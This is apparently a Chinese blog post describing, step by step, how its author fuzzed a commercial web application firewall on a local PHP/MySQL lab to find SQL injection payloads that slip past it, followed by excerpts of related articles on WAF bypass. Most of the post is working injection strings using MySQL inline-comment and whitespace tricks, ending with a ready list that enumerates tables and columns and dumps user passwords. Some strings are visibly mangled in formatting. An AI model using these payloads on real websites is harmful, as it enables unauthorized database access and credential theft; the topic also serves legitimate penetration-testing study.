某waf實戰SQL注入繞過fuzz過程

2021-10-01 18:27:36 字數 2472 閱讀 8445

#01 環境簡介

伺服器:windows2008 r2

軟體:phpstudy20180211

php 5.4.45

mysql 5.5.53

某鎖win_3.1.18.13服務端版本

#02 fuzz過程

以基於union注入為例

fuzz order by

過程如下:

?id=1』 order --+ 不攔截

?id=1』 order by --+ 攔截

nna那應該是waf匹配了order+by

?id=1』 order /!by/ --+ 攔截

?id=1』 order /!60000by/ 1 --+ 不攔截,但是報錯

翻譯過來:您的sql語法有誤; 檢查與您的mysql伺服器版本相對應的手冊,以在第1行的』1-'limit 0,1』附近使用正確的語法

那麼猜測是要低於mysql的版本嗎?(我在fuzz某狗的時候裡面的數字要高於50000以上,可能某鎖要低於mysql版本,便隨便試了個200000)

?id=1』 order /!20000by/ 3 --+ 不攔截,且執行成功

?id=1』 /!20000order/by 3–+ 不攔截,且執行成功

?id=1』 /!20000order/by 4–+

用過狗payload去試試,首先替換空格

?id=1』 order/**/by --+ 攔截

?id=1』 order/!123/by --+ 不攔截,但是報錯

換成過夠payload

?id=1』 order/!60000bbb/by 3 --+ 不攔截,成功繞過

?id=1』 order/!60000bbb/by 4 --+ 不攔截,報錯

過狗payload在這個位置也是可行的。

fuzz union select 1,2,database()

fuzz過程如下

?id=-1』 union --+ 不攔截,報錯…

?id=-1』 union select --+ 攔截了,同樣考慮用內聯注釋的方式繞過

?id=-1』 union /!20000select*/ --+ 不攔截,報錯…

?id=-1』 union /!20000select*/ 1,2,3–+ 不攔截,報錯,這裡的報錯就跟前面不一樣了,前面沒加引數肯定錯,但是這裡加了,報錯,說明有問題。

內聯注釋恰面的union嘗試一下。

?id=-1』 /!20000union/ select 1,2,3–+ 攔了

?id=-1』 /!20000union select/ 1,2,3–+ 攔了

?id=-1』 /!20000union select 1,2,3/–+ 攔了

那就考慮用union all select

?id=-1』 /!20000union all select 1,2,3/–+

還是攔截了,在考慮換個注釋的位置

?id=-1』 union /!20000all select 1,2,3/–+ ok,nice沒攔,執行成功

然後替換引數

?id=-1』 union /!20000all select 1,2,database()/–+ ok

給我攔了,應該是database()的原因 先加個空格再說

?id=-1』 union /!20000all select 1,2,database ()/–+

ok 空格繞過了

還可以考慮其他分隔符:

?id=-1』 union /!20000all select 1,2,database/**/()/–+

同樣可以達到繞過的目的

後面直接貼payload吧

1.?id=1』 /!20000order/by 3–+

2.?id=-1』 union /!00000all select/ 1,2,3–+

3.?id=-1』 union /!00000all select/ 1,database/**/(),3–+

4.?id=-1』 union /!00000all/ /!00000select 1,2,table_name from/ information_schema.tables where table_schema=『security』 limit 3,1 --+

5.?id=-1』 union /!00000all/ /!00000select 1,2,column_name from/ information_schema.columns where table_name=『users』 limit 2,1 --+

6.?id=-1』 union /!00000all/ /!00000select 1,2,password from/ users limit 1,1 --+

waf繞過注入

waf 是什麼?安全是乙個不斷對抗的過程,有防護手段,就有相應的繞過手段。滲透測試過程中,waf 是必定會遇到的,如何繞過 waf 就是乙個問題。waf繞過的手段千變萬化,分為3類 白盒繞過 黑盒繞過 fuzz繞過 白盒繞過 如果繞過 白盒下的繞過主要針對原始碼進行審計,分析函式功能,構造特定的包進...

SQL注入中的WAF繞過技術

論壇 法克論壇 目錄 1.大小寫繞過 2.簡單編碼繞過 3.注釋繞過 4.分隔重寫繞過 5.http引數汙染 hpp 6.使用邏輯運算子 or and繞過 7.比較操作符替換 8.同功能函式替換 9.盲注無需or和and 10.加括號 11.緩衝區溢位繞過 1.大小寫繞過 這個大家都很熟悉,對於一些...

繞過waf mysql爆庫 waf繞過注入

waf 是什麼?安全是乙個不斷對抗的過程,有防護手段,就有相應的繞過手段。滲透測試過程中,waf 是必定會遇到的,如何繞過 waf 就是乙個問題。waf繞過的手段千變萬化,分為3類 白盒繞過 黑盒繞過 fuzz繞過 白盒繞過 如果繞過 大小寫變形 or,or,or 等價替換 and or 例如 oo...